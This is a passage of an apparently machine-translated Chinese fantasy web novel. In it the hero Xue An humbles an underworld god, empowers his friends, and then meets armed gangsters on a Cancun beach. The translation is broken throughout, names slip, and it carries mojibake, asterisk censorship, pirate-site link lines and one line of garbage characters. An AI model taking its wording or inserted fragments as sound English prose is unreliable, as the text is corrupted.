    Because this image of Thorne is extremely tall, when Xue An stands in front of him, it can be higher than his ankle.


    Thorne lowered his head in disdain, wanting to see what this arrogant ant was going to do.


    But at this moment, Xue An grabbed his ankle and slammed hard.


    Thorne felt a powerful force coming from under his feet. Before he could react, Xue An directly grabbed the ankle and shook it up.


    boom! boom! boom!


    Xue An simply used Thorne as a fire stick and smashed it all at once.


    It wasn''t until the entire square was smashed into potholes, that he stopped his hand, and then said lightly: "Master, I don''t have time to talk nonsense with you, tell me now, or not?"


    Thorne was completely stunned.


    He is the supreme underworld god!


    A mortal grabbed the ankle and slammed it.


    This contrast made him unacceptable for a while.


    So there is no time to speak.


    But his silence was regarded as speechless resistance by Xue An.


    Xue An nodded slightly, "I''m pretty spineless, then come back!"


    As he said, Xue An grabbed Thorne''s ankle, banging banging again.


    "Hand in or not?"


    "..."


    "Oh, the bones are so hard, come again!"


    Xue An also got tempered by smashing it, and even used Thorne as a sledgehammer, hitting wherever it was uneven.


    At this moment, I listened to Anastasia tremblingly shouting: "My lord, don''t smash it, you may be smashed to death!"


    Xue An stopped now, and looking at this high-level god, he was fainted with smashed life.


    "No wonder he didn''t say anything!" Xue An said, letting go, and then came to Thorne.


    "I will give you three breaths. If you still don''t wake up, then I will refine you!" Xue An said lightly.


    Before he could finish speaking, Thorne had already opened his eyes, and shouted in horror, "Sir!"


    "Then can you pay?"


    Thorne smiled flatteringly, "My lord, please, I''ll do it now!"


    With that, a soul contract flew into the air, and then plunged directly into Arthas'' forehead.


    Click.


    After a slight crisp sound.


    Karthus felt that the whole person had never felt relaxed before, and the torture that existed all the time disappeared.


    That great sense of happiness made him wish he would faint now.


    Xue An nodded, "If you do this early, won''t you get less beatings?"


    "Yes, yes! What the lord taught you!" Thorne quickly lowered his head and responded.


    Everyone in the Dark Council watched this scene dumbfounded.


    Especially Karthus.


    As a disciple serving the underworld.


    The **** Thorn has always been the supreme being.


    But even with this kind of existence, he had to nod and laugh in front of Xue An.


    It turns out that gods can also bully the soft and fear the hard!


    "My lord, can I go now?" Thorne said cautiously.


    At this moment, his heart is full of regret and fear.


    It was not that he had resisted when he was just smashed like a fire stick, and countless evil and powerful soul arts were used like money.


    But these things are of no use to Xue An like a mud cow entering the sea without any movement.


    This man is definitely not an ordinary person.


    That''s why he was so careful.


    Xue An smiled slightly, "I can walk, but there is still more!"


    Thorne trembled, "What''s the matter!"


    Xue An said calmly: "You see my friend is so weak now, and even the whole body is sacrificed to you, you have to take care of these, after all, it is your disciple anyway, if you just go out like this, You seem to have no face, don''t you?"


    "Yes, yes! Just take care of it!" Thorne promised hurriedly, and then he was stunned, "My lord, you say...what should I do?"


    "I don''t make it difficult for you, you are just a virtual projection, so let''s leave half of the power of the necromancer to him, and then I will let you go, how?"


    "One...half the power of the dead?"


    Xue An nodded, "Yeah!"


    Thorne almost didn''t cry, "My lord, this..."


    "What? Too little? That''s three-quarters! You are one and three!"


    What else did Thorne want to say.


    Xue An raised his brows and said coldly: "No more nonsense, I will directly refine you, and then give him all the power of the dead!"


    Thorne trembled and nodded hurriedly: "Okay! I''ll give it now!"


    With that said, three-quarters of the power of the dead was forced out in a painful manner, turned into a ball of gray light, and flew into Karthus''s skeleton.


    boom!


    Karthus felt that a powerful force poured into his soul, and the fire of the dying soul suddenly became extremely bright.


    At the same time, the whole body began to grow wildly.


    In the blink of an eye, he became a man in his thirties with a trace of evil in his face.

 Chapter 420： Yu Wei was still awe-inspiring to the gods!

    Karthus first blinked, then looked down at his arm, and then raised his head in surprise.


    Opposite, Anastasia''s gentle gaze.


    The two people faced each other, and then hugged each other with excitement.


    Seeing this scene, everyone in the Dark Council smiled kindly like an aunt.


    Xue An also nodded.


    This Karthus has a good temperament, which can be regarded as helping him by himself.


    Then he lowered his head and said to the frail Thorne: "Okay, go back! Don''t just drop your projections when you are fine in the future, have you heard?"


    "Yes, yes! Your lord''s lesson is, but..." Thorne showed hesitation.


    At this moment, his size has shrunk severely, becoming a body shorter than the average person.


    "Huh? But what?" Xue An''s eyebrows gradually raised.


    "My lord, can you give me your first and last name? After I go back, I will be able to deal with each other!" Thorne is crying now.


    Said it is a projection virtual image, in fact, they all already have their own sense of autonomy.


    Just like the clone of the deity, you can go to various circles to perform tasks.


    Even they can practice.


    Therefore, the power of the dead spirits that he had just handed over was all he worked so hard to save by himself.


    If you just go back this time, it is most likely that you will be directly obliterated by the angry deity.


    Xue An naturally knew this, so he just smiled.


    There was a flash of ancient desolation in his eyes, and at the same time there was a light of incomparably powerful aura.


    Seeing this scene, Thorne was shocked, his face instantly turned pale, almost exclaiming.


    Xue An shook his head slightly and motioned him not to talk too much!


    Thorne quickly covered his mouth, and then surrendered to the ground very respectfully.


    "My lord, if I disturb you, it''s a crime!"


    "Okay, go back, remember to tell your deity, this world is now covered by me! Don''t think about it! Otherwise...definitely cut it!"


    Thorne was so scared to pee his pants, of course, if he did.


    He knows well that this peerless killer who once shocked the world never speaks exaggeratedly.


    Because at the beginning, they were the most noble and noble people.


    Compared to other people, this little **** of the gods himself can''t bear even a look in their eyes.


    "Yes!" Thorne said tremblingly.


    "Get out!" Xue An waved.


    Thorne was pardoned, and bowed deeply, then disappeared.


    Then Xue An turned his head and smiled at everyone, "Well, the matter is solved perfectly!"


    This is a land without life.


    Skeleton soldiers fighting endlessly are everywhere, and the sky is full of bone dragons biting and clashing.


    There is no blood.


    Because there are no living people in this land.


    Some are just an endless ocean of bones.


    In the middle of this world, there is a high mountain made of numerous bones.


    This mountain is so high that it is the pinnacle of this world.


    At the top of the White Bone Mountain, there is a throne made up of countless bones.


    now.


    The projection virtual images sent to all circles have all returned, but one is missing to the human world.


    The deity Thorne frowned slightly.


    In this world of necromancers, he is the ruler, so one of his frowns, as far as the power of the gods, countless skeletons turned into powder.


    At this moment, the space fluctuated, and Thorne clone fell from it.


    But the momentum is extremely weak.


    "What''s the matter?" A majestic voice came.


    Thorne knelt on the ground with a plop, then crawled forward tremblingly.


    The projected virtual image and the deity are naturally connected, so when Thorne provided all the things he saw and heard in the world.


    Having been sitting on the bone throne, the face of the indifferent **** of the underworld changed wildly.


    The entire necromantic world was shaken by his action.


    Numerous ravines appeared on the ground, and endless bone dragons and skeletons were all turned into dust.


    Those who survived all knelt on the ground tremblingly, and kept kowtow towards Baigu Mountain.


    They didn''t know what made their gods so shocked.


    It was not until a long time later that everything returned to calm.


    And the face of the **** of the underworld is extremely solemn.


    "Is everything true?"


    In fact, this sentence is unnecessary to ask at all.


    This Thorne is a projection clone of him, how could he tell lies?


    But this also shows how horrified this Underworld God is.


    "Yes! It''s true!"


    The **** Thorne''s eyes flickered, but his face gradually showed fear.


    If everything is true!


    Then once this news spreads out, it will shake the heavens and all realms.


    However, depending on the situation, this adult seems to have not recovered his strength yet, and does not want to make a public appearance!


    Thinking of this, he said coldly: "Good job!"


    As he said, a beam of brilliance flew into the forehead of this clone.


    Originally weak, his momentum suddenly soared.


    The surrounding phantom clones all looked at him enviously.


    "This matter, don''t leak half a word!" The deity Thorne said solemnly.


    "Yes!" everyone responded in unison.


    After all his phantom clones had left, he bowed his head with a heavy face, and his hands hidden under the throne were shaking slightly.


    Because he was afraid behind.


    Although the strength of that person is far from recovering, the deity Thorne clearly knows that he wants to survive in these heavens and worlds.


    Then learn to be in awe.


    And that man!


    He is the one who makes all the gods, demons and ghosts, the masters of the heavens most awed!


    Fortunately, he didn''t seem to be angry.


    Otherwise, he might not even have the chance to survive!


    The **** of darkness secretly rejoiced and made up his mind, from then on the world will become an absolute taboo, and we must not set foot in it.


    This is another vast and powerful interface.


    In this world, even the air is filled with powerful holy light.


    In life, there are also powerful angels of light.


    In the center, there is a bright mountain.


    In the Temple of Light on the top of the mountain.


    The God of Guangming slowly opened his eyes, and a look of surprise appeared in his eyes.


    The beheading of the clone by Xue An has little effect on his strength.


    But the shock to him was extremely strong.


    Although with his supernatural power, if he wants to descend on the earth, he must compress his strength to a very pitiful point.


    But that is also a god!


    What''s more, one of his own **** sons also descended.


    But they were all obliterated by Xue An!


    Who is this Xue An?


    Why can you cultivate such a powerful strength in such a low plane?


    And why does the wheel of fortune prompt that he must be killed?


    When in doubt.


    Just heard a crisp sound.


    The God of Guangming looked up, and then was stunned in horror.


    I saw a deep crack suddenly appeared on the wheel of fortune that was placed in the middle of the temple and turned forever.


    "How is it possible!" The God of Guangming was horrified.


    This wheel of fortune controls the life fortune of all realms under the jurisdiction of the God of Light, and is known as an indestructible supreme artifact.


    Why does a crack suddenly appear at this moment?


    It seems to be in response to his doubts.


    The rift suddenly widened, and then the entire wheel of fortune was shattered!


    The endless power of destiny and divine light spread from the top of the mountain, and even enveloped the entire Bright God Realm.


    The God of Guangming sat on the seat of God in a daze, gradually showing... awe!

 Chapter 421： Old girl, what are you doing?

    Karthus respectfully knelt down at Xue An.


    "My lord! Your grace of reconstruction will never be remembered by Karthus. From then on, what your swordsman pointed out is my direction!"


    Anastasia also knelt to the side, "Witch Anastasia, I will never betray your lord!"


    The mood of these two people at the moment is very excited and complicated.


    If there is no Xue An, Karthus will definitely fall into the abyss of eternal pain, then don''t say anything about staying together, it is estimated that it will be difficult even to meet.


    Therefore, it is not an exaggeration for Karthus to say that Xue An has reinvented him.


    Xue An just smiled, "Get up, I just think you are not bad for you, and I don''t expect you to repay me."


    Karthus and Anastasia didn''t say much, and stood up obediently.


    In terms of their personalities, they can''t say too much gratitude. They just bury this kindness in their hearts and remember them forever.


    Then Xue An turned his head and looked at Fan Mengxue who was whispering to An Yan.


    These two women have been muttering non-stop since just now.


    A long-lost smile also appeared on Fan Mengxue''s face.


    At this time, An Yan chong Xue An said: "Husband, let''s follow Mengxue to the Dark Council to see!"


    Karthus and the others hurriedly said: "My lord, now the Church of Light is destroyed. You have no place to stay for the time being, so go to the Dark Council for a few days!"


    Xue An was startled slightly, then smiled and nodded.


    At their speed, it only took a moment to return to the dark council in the mountains of Europe.


    Wait here.


    An Yan looked at the guarding skeleton soldiers curiously, and couldn''t help but touched it.


    The skeleton soldier looked at An Yan impatiently, "Old girl, what are you doing?"


    A pure northeastern accent.


    An Yan''s eyes gradually widened, her face full of strange expressions.


    Located in the mountains of Europe, in front of a thousand-year-old dark castle, a skeleton soldier holds a heavy Northeast dialect. This picture is simply very funny.


    Karthus quickly explained to the side: "Madam, these skeletons have been passed down from the Middle Ages, and some are even older than this castle, so they have already developed their minds. As for why they speak Chinese... ...."


    Karthus pointed to the few skeleton soldiers in the far corner who were holding their phones and watching the cross talk, and said helplessly: "Since the smartphones came out, the lives of these skeletons have become more colorful."


    The skeleton soldier glanced at Karthus, "Hehe, the guy is handsome! Why? Finally hooked up with the witch adults? Tsk!"


    I heard the word hookup.


    Both Karthus and Anastasia''s eyelids were beating slightly, but they couldn''t say anything. After all, these skeletons were refined, as if they had become mascots of the Dark Council.


    You can''t beat or beat, you can''t scold or scold, you can only treat it as if you haven''t heard.


    As for the others, they all laughed.


    An Yan couldn''t help laughing, and the trace of fear in her heart disappeared. She patted the skull on the shoulder, and then extended her thumb.


    "You speak the Northeast dialect really well!"


    "Really? I think so too! And I can not only speak Northeastern dialect, but also a few sentences in Cantonese. Listen, Thunder Monkey!"


    The skeleton soldier started talking endlessly.


    Xue An was a little bit ridiculous, and dragged An Yan into the castle with a curious and excited look.


    Because of Xue An''s arrival, the castle is busy at this moment.


    A dozen maids are hurriedly preparing tableware for a dinner party.


    But after a closer look, you will find that these maids are actually ghost brides.


    And seven or eight dwarfs are setting up the dining table with their innate little hands.


    There are so many monsters and monsters that only appear in European legends, which is eye-opening.


    Nightmare smiled aside.


    "These are all monsters that were oppressed by the Church of Light to nowhere, and then they were taken in by the Council of Darkness!"


    Xue An nodded.


    An Yan looked at a few elves flying in the sky with bright eyes.


    "If you miss and miss here, you will definitely like these little fairies!"


    Xue An couldn''t help laughing, "Then call them, by the way, even the night elves!"


    With that said, Xue An directly notified the elf goddess Cloris of the news through the imprint engraved on the fairy secret realm.


    With this mark, Xue An can enter the elves secret realm or notify Cloris directly anytime, anywhere.


    quickly.


    The cheerful Xue Xiang and Xue Nian who were playing in the elves secret realm all appeared in the dark castle.


    Isabella Yuna and others followed, and at the end, even Elder Luna walked out of the secret realm and came to the castle.


    The night elves are always neutral, but it doesn''t mean that there is no contact with all parties.


    Especially as the spokesperson of the spirit god, Luna naturally has to deal with all parties.


    Therefore, everyone in the Dark Council and her are considered old acquaintances.


    After a while, everyone sat together.


    The wine is produced in the dark castle''s own manor, a peerless treasure that the outside world can''t buy.


    The dishes are made of various rare ingredients.


    For food and drink, these bigwigs who have lived for thousands of years are naturally very particular.


    But the more important thing about this meal is to thank you.


    Everyone frequently toasts to Xue An, and Xue An does not refuse to come.


    The meal was eaten till late at night, and the host and the guest enjoyed themselves.


    Xue An and An Yan live in the most distinguished guest rooms.


    The two little girls also came to join in the fun, and Xue An had to coax them to sleep.


    Xue An patted the two little girls with a smile, and then told a bedtime story, which put the two little girls to sleep.


    After hearing the slight snoring of the two little girls, Xue An stood up lightly, and said to An Yan who was lying on the side smiling and said: "Are you sleepy?"


    An Yan shook her head, and then said with a smile: "Go and see Mengxue, you have to heal her for her injuries!"


    Xue An was stunned He just wanted to say this, but he didn''t expect An Yan to be the first, so he smiled and said, "Let''s go, we two together!"


    An Yan smiled, "Well, can I worry about my husband? Go ahead!"


    Xue An hesitated after hearing this.


    An Yan hooked her hand and said winkingly, "Come here!"


    Xue An leaned over, "My wife, what instructions do you have?"


    An Yan gave a kiss on Xue An''s neck, leaving a bright red lip mark on it.


    "Okay, I''ve deducted a chapter for you, now you are mine!" An Yan said with a smile.


    Xue An was laughing and crying, and squeezed An Yan''s little nose.


    "You! What a fool!"


    "Go, go, go, go back! I''ll wait for you to come back to sleep!"

 Chapter 422： Give you a great gift!

    There is a small balcony on the top floor of the dark castle, which is arranged as a small garden.


    Sitting here drinking, you can look out at the rolling mountains in the distance.


    When Xue An came here, Fan Mengxue was sitting on the chair, staring into the distance blankly.


    Hearing the sound of footsteps, she did not turn her head back, but said lightly: "Did thinking and Niannian both fall asleep?"


    "Hmm! Just fell asleep!"


    While talking, Xue An sat down on a chair aside.


    After a long silence.


    "I''m sorry!" Fan Mengxue lowered her head and said softly.


    "Why do you say sorry?"


    "Because... I almost killed so many people!"


    Xue An smiled, then shook his head, and said softly: "This matter is not your fault at all."


    Fan Mengxue lowered his head and said nothing.


    Xue An sighed and asked, "Why go on the dark road?"


    Fan Mengxue suddenly raised her head, tears shining in her eyes, "Because... I want to catch up with you!"


    This answer made Xue An slightly wrong.


    He thought about many reasons, but he didn''t think of it.


    "Am I stupid?" Fan Mengxue lowered her head again and said lowly.


    "It''s a bit impulsive, but it''s definitely not stupid!" Xue An said with a smile.


    "Really?"


    Xue An nodded, and then his expression became solemn, "Mengxue, I only ask you, this dark road is very difficult, can you regret it? If you regret it, I can take you away now!"


    Fan Mengxue shook her head firmly, "No regrets!"


    Xue looked at Fan Mengxue quietly for a moment, and then smiled, "Okay! Since you don''t regret it, then I will help you climb to the top of darkness!"


    "Tacia said, she will teach me all the witchcraft, and I will also be in charge of the Dark Council..."


    "Tacia?" Xue An smiled and shook his head, then stood up and pointed to the starry night sky.


    "Mengxue, have you seen it? Each of these stars may represent a world, the heavens and the world, but in fact, it is more than the ten thousand world? And what I call the dark peak is standing on the top of the ten thousand world! That is the real king of darkness, the supreme dark night!"


    Xue An''s words stunned Fan Mengxue completely.


    She stared blankly at the endless starry sky, her brain was blank.


    She once thought that after she followed Tacia to learn dark witchcraft, and then took control of the dark council, she would be considered a strong one.


    But Xue An''s words completely shocked her.


    "Am I... OK?" Fan Mengxue murmured.


    Xue An smiled faintly, "On your own...Of course not! Your dark body is only due to the parasitic of the Night Witch Emperor, and it is not too shocking genius!"


    Fan Mengxue''s expression fell down, feeling a little discouraged.


    Since she practiced dark witchcraft, all kinds of compliments have been heard the most!


    But Xue An��s words ruthlessly shattered her pride.


    "But since I am here, I can let you do it!" Xue An''s tone was full of strong confidence.


    Fan Mengxue was stunned, "You...you are not bright..."


    Fan Mengxue heard Tacia say that all the power in Xue An''s body is the pure power of light.


    Light and darkness are opposites, how can he help?


    Xue An smiled when he heard the words, "When you reach a certain level, you will understand that there is no light and darkness, but they are two sides of the same thing!"


    Talking, Xue An suddenly raised his eyes, his eyes burning with bright brilliance, and then took a step forward and said lightly: "Close your eyes!"


    Fan Mengxue closed her eyes obediently.


    A black light spot appeared in Xue An''s hand, and this light spot contained an extremely powerful energy that even made the entire castle shudder.


    Anastasia and the others who were in the room were shocked and looked up.


    "This Qi machine..." Anastasia trembled.


    As a member of the Dark Law System, she can feel the desolation and power of this Qi machine more than anyone!


    is like a dark emperor who has traveled from eternity, making people just want to kneel down and worship.


    Xue An pointed on Fan Mengxue''s forehead.


    Boom!


    Fan Mengxue felt that the Sea of ??Consciousness suddenly shook, and the original power of darkness receded like a tide, replaced by a more pure and powerful darkness, and the injuries he suffered before he recovered in an instant.


    But this is just the beginning.


    This power is not reconciled to being used by Fan Mengxue. In Fan Mengxue''s sea of ??consciousness, there is a trace of mental power trying to gain control of the body.


    Xue An stepped back and looked at Fan Mengxue''s changing expression quietly. When he noticed everything that happened in Fan Mengxue''s sea of ??knowledge, he couldn''t help but said indifferently.


    "Thousands of years ago, I was defeated by me. Do you want to struggle now?"


    As he said, Xue An��s divine thought instantly entered Fan Mengxue��s sea of ??consciousness, and then stood in the sky above the sea of ??consciousness.


    After feeling Xue An''s momentum, the mental power immediately crawled down in fear.


    Xue An didn''t plan to let it go, a flame covered it.


    This mental power screamed, and there was a voice full of unwillingness and anger.


    "Xue An, you are so cruel!"


    Xue An smiled faintly, "Dark Emperor, blame you for rebirth from my memory, now please go and die!"


    said, the flame burst.


    The scream stopped abruptly.


    Fan Mengxue''s surging dark power instantly became docile. First release https://https://new 81 Chinese network update the fastest computer terminal: https://


    Xue An withdrew from Divine Mind, looked at Fan Mengxue who opened his eyes and looked blank, and smiled faintly.


    "All right!"


    "Just now What is that?" Fan Mengxue asked blankly.


    "Dark Emperor! A peerless power who once held the power of darkness in the universe!"


    "Then what..." Of course, Fan Mengxue didn''t know this, only some doubts.


    Xue An shrugged, "This guy was killed by me, and then I got his dark holy emperor decided to get out. I didn��t expect that a ray of this guy��s spiritual thoughts would actually attach to it, and follow my memory. Reborn together! I will give it to you just this time!"


    Fan Mengxue nodded after listening, and then blinked, "But why don''t I feel that my strength has increased?"


    Xue An laughed, and couldn''t help messing up Fan Mengxue''s hair. "Silly girl, this is just a law decision. Everything has to depend on you for cultivation, but now you have a higher starting point than others!"


    Fan Mengxue was confused, but she believed whatever Xue An said, so she nodded.


    It��s just that she doesn��t know how high the starting point Xue An said is higher than others!


    If there are people who are familiar with the past of the Ten Thousand Realms here, they will be shocked to hear the name Dark Emperor.


    Because that was once an invincible strong man.


    And the magic decision left by this strong man, casually spread out, is a peerless treasure that can cause Zhou Tianxingyu to fight.


    It can be said that with this as a foundation, Fan Mengxue''s lowest cultivation base is also a fairy king!


    Fan Mengxue didn''t know what a precious gift he had received.

 Chapter 423： The Lord of the World

    Xue An is gone.


    Fan Mengxue stood on the spot, quietly watching Xue An''s departure.


    A moment later, Anastasia appeared behind her.


    "Mengxue!"


    "Huh?" Fan Mengxue trembled all over, regained consciousness, and then turned to look at Anastasia.


    Anastasia wanted to say something but stopped. She came up because of curiosity about the powerful dark aura just now.


    She also guessed that Xue An should have made it.


    This made her even more horrified and shocked.


    Isn��t Mr. Xue the light power of cultivation? How could there be such a strong dark atmosphere?


    After she came up, she found that Fan Mengxue had healed from the dark wounds she had suffered because of the forbidden curse.


    Only after touching Fan Mengxue''s eyes.


    There was a strange feeling in her heart suddenly.


    is like a courtier facing a young monarch, with an urge to worship.


    "Mr. Xue has gone!" Anastasia lowered her head deeply and said softly.


    "Well! Let''s go back too!" Fan Mengxue said lightly.


    "it is good!"


    Fan Mengxue went downstairs, Anastasia was taken aback for a moment, and then followed.


    Xue An returned to the house.


    The three mothers and daughters have already snored slightly.


    Xue An smiled, lying on the side of the bed, quietly looking at An Yan''s sleeping face.


    But soon, An Yan''s mouth couldn''t help but a smile appeared, and her closed eyes were also bent into a crescent moon.


    Xue An, dumbfounded, stretched out his hand to pinch her nose, deliberately said with a straight face: "Pretending to be asleep?"


    Anyan screamed, opened his eyes, and said aggrievedly: "Oh, it''s really annoying, your nose is pinched!"


    Xue An quickly released his hand and said distressedly: "Really?"


    "You lied to you! Fool!"


    An Yan said with a smile, and suddenly pinched Xue An''s nose.


    "Sister!" An Yan said with a puffed face.


    "Why?"


    "Only I am older than you!"


    "Stop it, how can you be older than me?"


    "I''m older than you! Screaming? Don''t you ask me to use my strength!" An Yan put on an unreasonable and savage appearance, but her gentle brows turned this savage into coquettish.


    Xue An suddenly rounded his eyes, "Oh, think about waking up!"


    "Huh?" An Yan quickly withdrew her hand.


    She is so ashamed to show such a delicate face in front of the children.


    She always wants to act like a mature mother in front of the children.


    Only when the children are not around, she will show her pink girlish heart in front of Xue An.


    But when I looked back, I found that the two little girls were sleeping like piglets, and they didn''t wake up at all. Only then did they know that they had been fooled, and when they turned their faces, they would "reprimand" Xue An for lying to the military.


    But Xue An has already grinned and gnawed over.


    After a while, An Yan, who had lost his resistance, lay down in Xue An''s arms, and said softly: "Husband, how is Mengxue''s injury?"


    "Healed!"


    "Hmm! She is actually quite poor..."


    after a moment.


    Xue An heard An Yan only halfway, and then there was no more text. He couldn''t help but look down.


    Then I found that An Yan had curled up in his arms and fell asleep.


    Xue An sighed softly, and gently stroked An Yan''s cheek, "Silly Yan''er, before you... are you not pitiful?" First posted https://https://


    just when the Xue An family lived in the dark council.


    The church of Guangming was completely destroyed, the saint son and blood ancestor were beheaded, and even the news that the projection of the God of Guangming was defeated by Xue An has caused a sensation in the whole world.


    The forces, whether in the light or in the dark, were shocked by the news.


    Because what Xue An wiped out this time was the incomparably powerful **** and demon in the legend, and he won with incomparable domineering. New 81 Chinese network update the fastest mobile terminal: https:/


    And the complete destruction of the Bright Church has caused a chill in the hearts of everyone who heard the news.


    The once incomparable Guangming State Church has now become a flat land.


    This iron-clad fact tells everyone what the end of the fight against Xue An is.


    There are many people who were not optimistic about Xue An, and even ridiculed Xue An, are all shivering at this moment.


    Someone gave Xue An a nickname.


    The Lord of the World!


    means the undisputed first person in the world!


    This nickname spread quickly, and no one disputed it.


    But when there was a lot of noise outside, Xue An seemed to have disappeared and never appeared in public.


    One month later.


    The most famous tourist city in M ??West, Cancun.


    Located on the coast of the Caribbean Sea, it has world-renowned beaches and is known as one of the top ten beaches in the world.


    this moment.


    on the white jade beach.


    Xue An and An Yan lie on a beach chair enjoying the warm sunshine.


    Miss Miss Nian leads Isabella and Yuna enthusiastically piled up beach castles.


    The extremely high looks of their pedestrian also attracted the curious eyes of many tourists.


    Xue An and An Yan only lived in the Dark Castle for three days, and then they continued their wedding honeymoon trip.


    It took more than half a month to wait for the whole of Europe to go around, and then the two came to M West, feeling a completely different exotic atmosphere.


    When the beach castle was piled up, the two little girls clapped their hands excitedly.


    "Dad, daddy, look, is this castle beautiful!"


    Xue An raised his head to take a look, then smiled and nodded.


    "It''s beautiful! Did you two pile it up?"


    "Hmm!" Xue Xiang and Xue Nian nodded proudly and then turned to look at Yuna and Isabella.


    But when they saw the beach sculptures piled up by two night elves, they couldn''t help but feel a little dumbfounded.


    The affinity of the elves to nature is incomprehensible, and they are very skilled in art.


    Although it is just a small beach sculpture, the two of them still made it beautiful and exquisite, and even attracted many tourists to take pictures.


    Compared with theirs, the castle that the two little girls have painstakingly piled up looks simple and ugly.


    This makes the eager to think about it and can''t help pursing his mouth.


    Xue An couldn''t help laughing upon seeing this.


    At this moment, a man with a beard and artistic atmosphere came over with shocked expression and said to Yuna.


    "Beautiful lady, did you pile up this sculpture?"


    As soon as she saw a stranger, Isabella hurriedly hid behind her sister.


    Yuna was also a little shy, but she nodded slightly.


    "My God, I have never seen such a delicate and artistic sculpture. Can you get to know it? My name is David. I am an avant-garde artist from M country!" The man said, excitedly took out a business card I want to pass it.


    Yuna was so scared that she took a few steps back, waved her hand, and then pulled Isabella and left.


    David was stunned, but he still followed unwillingly.

 Chapter 424： Beach sun

    Yuna pulled Isabella and hid behind Xue An.


    For them, no place in the world is safer than Xue An''s side.


    This is also the reason why they dare to travel with Xue An''s family.


    "What''s wrong?" An Yan asked with concern.


    Yuna pointed to David who was following him.


    Xue An frowned when he saw this.


    The delicate beauty of the two elves is indeed easy to cause some people''s unruly schemes.


    At this time, David had already come to the front. When he saw Xue An and An Yan, he couldn''t help but be surprised by their superb looks.


    "What''s the matter?" Xue An said lightly.


    David trembled, and then he recovered his sobriety. He quickly said: "Sir, I have no malice, but after seeing the beach sculpture, I was shocked by the artistic temperament contained in it! I think this lady is very artistic Talent, so I just want to get to know it!" New 81 Chinese Network Update Fastest Mobile Terminal: https:/


    Xue An glanced at Yuna.


    Yuna shook her head.


    "Have you seen, my sister is not willing, please go!" Xue An said lightly.


    "But..." David was anxious.


    "Don''t you understand what I''m saying? Or are you deliberately staying behind?" Xue An said with a hint of chill.


    Although it was just a trace of chill, it was already beyond the ordinary people''s David.


    He only felt that a powerful momentum enveloped him.


    Even though I was on the beach with the scorching sun, I still felt the bone cold.


    David swallowed hard, "Well sir, I''m going now!"


    said, he ran away in a panic.


    But he did not go far, but stopped in front of a drink stall not far away, and then secretly looked around.


    He did not lie.


    He is indeed an avant-garde artist in M ??country.


    and it''s the kind of famous one.


    This time I came to M West for a vacation.


    Unexpectedly, I encountered exquisite works on this beach that fascinated him.


    Anyway, I must find a way to get that timid girl into the art circle.


    I cannot let an artistic genius be buried.


    David secretly made up his mind.


    Xue An naturally also noticed David''s head shrinking in the distance.


    But he could see that this David did not covet Yuna''s beauty, and he was not a bad person.


    So just smiled and ignored the matter.


    At this moment, I saw a little boy with shabby clothes and bare feet walking over with a big box.


    "Sir, ma''am! Do you want an avocado?"


    "Avocado?" An Yan asked.


    "Yes! The good avocado just picked from the tree!" The little boy saw An Yan asked, and quickly put the box on the ground, opened the lid and took out some fruits from it.


    "Madam, look! These are all grown by ourselves!" The little boy tried his best to sell.


    At this time, Xue Xiang and Xue Nian also came over.


    "What is this?" Xue Nian asked in a naive way.


    The little boy turned red when he saw two little girls about his age, and stammered, "Avocado!"


    "Oh? Can you eat it?" Xue Nian asked with bright eyes.


    "Of course I can eat it, and it''s delicious!" The little boy flushed with excitement.


    "Dad!" Xue Nian shouted drooling.


    An Yan smiled, "Leave them all! I want them all!"


    The little boy was stunned, "Madam, these avocados are twelve beautiful..."


    An Yan carried money with him, took out one and handed it to the little boy.


    "I will give you a tip for the rest!" An Yan said with a smile.


    This is a hundred dollar bill.


    The little boy was taken aback for a while, and then he took it over excitedly, "Madam, leave this box for you too!"


    An Yan nodded. Starting


    The little boy bowed deeply, turned and ran away.


    Waiting for him to go away.


    Xue An said: "Yan''er, the money you gave him is likely to harm him!"


    "Huh? Why?"


    An Yan felt that this little boy was about the same age as his daughter, but he didn''t even have shoes. She was a little distressed, so she bought all the fruits.


    Xue An said lightly: "You didn''t notice that as long as the clothes covered on this little boy''s body are all scars."


    "Huh?" An Yan was a little shocked, "I didn''t pay attention! What should I do?"


    Xue An smiled, "Don''t worry, someone should come to us soon!"


    "Look for us?"


    "Yes!"


    As expected, Xue An did not expect it.


    After more than ten minutes, a group of fierce men still holding guns appeared on the other side of the beach.


    Seeing this group of people, the people on the beach shunned.


    Some local people who set up small stalls fled in fright.


    And David, who had been secretly watching, was stupid when he saw this scene.


    Although he is not a local.


    can be a neighboring country, he knows the social situation of this brother too well.


    These ferocious men must be local gangsters.


    Because Mssi is most famous for three things, desert, cactus, and local hey.


    These gangs are all greedy and extremely cruel.


    David��s cold sweat has come down.


    In his opinion, Xue An and all the people in this group are tourists, which is like a lamb to be slaughtered in Brother M.


    But the most important thing is that the girls of Xue An are extremely beautiful.


    If this falls into the hands of the local gang it would be unimaginable.


    Thinking of this, David plucked up the courage and ran to Xue An.


    "Sir, please leave here quickly!" David yelled hurriedly.


    "Leave? Why are you leaving?" An Yan asked in surprise.


    "Some local helpers are here, you are very dangerous like this!" David said anxiously.


    He thought that these girls would be scared when he heard this sentence.


    Unexpectedly, An Yan and others just laughed.


    Even the cowardly girl looked calm and seemed fearless.


    When David was impatient, those fierce men had appeared in the sight of everyone, and then walked straight towards Xue An.


    David sighed, thinking to himself that he couldn''t run away, but he couldn''t stand by, so he gritted his teeth and greeted him.


    "Brothers, these people are all my friends, please leave, okay?" David said in M-Silge language, and took a few banknotes from his pocket.


    was led by a man with triangular eyes with a fierce face. After seeing David, he looked up and down a few times.


    "M countryman?"


    "Yes! Brothers, I know a few celebrities in your country, please give me a face! Okay?" David said.


    "People from Country M will give you face, now get out of the way, we won''t take care of you!" The triangle man said coldly, walked directly past David, and then looked at Xue An and others lying on the beach chairs. .

 Chapter 425： The disappeared thug

    "Chinese?" The triangular-eyed man said with a sneer. At the same time, his eyes flicked over Yuna and others, and his eyes couldn''t help but appear astonishing and greedy.


    Xue An leaned on the beach chair, repairing his nails with a delicate nail clipper, and ignored the man.


    The triangle man thought that Xue An was arrogant, and he became even more arrogant, pointing to the avocado box on the ground.


    "Who sold this thing to you?"


    An Yan was a little uncomfortable with the arrogance of this group of people, and said coldly: "Whose things we buy still need you to control?"


    "Of course I need! Because this beach is my place!"


    said, the triangle man tilted his head.


    Someone dragged a little boy up.


    This little boy is the one who just sold avocados, but now he has injuries all over his face and body, and he has passed out and was dragged over by life.���¥�~��~1~�������ئئ�.��~��~1z��.c����


    Seeing this scene, An Yan''s expression turned cold, and his eyes grew colder.


    She is a very gentle girl, but that doesn''t mean she can tolerate this sin!


    "Hehe, this guy ran to my site secretly to sell things, this is his due punishment, and you..."


